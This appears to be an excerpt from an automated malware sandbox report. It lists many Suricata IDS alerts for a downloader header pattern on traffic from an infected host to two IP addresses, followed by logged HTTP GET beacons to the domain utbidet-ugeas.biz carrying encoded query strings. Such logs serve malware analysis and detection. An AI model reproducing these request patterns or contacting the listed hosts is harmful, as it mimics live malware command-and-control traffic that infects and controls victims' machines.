Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49755 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49743 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49752 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49798 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49761 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49783 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64233 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49770 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49789 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49746 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49819 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49764 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49287 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49822 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49740 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49773 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64266 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49749 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49786 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49810 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53513 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49816 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49811 -> 45.79.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49813 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64239 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65052 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64236 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49767 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49776 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58492 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49780 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49801 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49834 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49828 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49792 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54707 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65040 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53525 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65010 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49795 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57236 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65013 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64245 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49825 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64251 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64254 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64260 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65001 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64980 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65073 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49804 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65046 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65025 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65016 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49807 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65019 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65064 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64983 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64995 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64978 -> 45.79.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64248 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49831 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65004 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65031 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65058 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64257 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53519 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64230 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65007 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64242 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65076 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64269 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64263 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64989 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65061 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65049 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65070 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64998 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49284 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64986 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53516 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65028 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65055 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53522 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65022 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65067 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65034 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65043 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64249 -> 45.79.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64992 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65037 -> 172.234.222.138:80

Source: global traffic	HTTP traffic detected: GET /d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
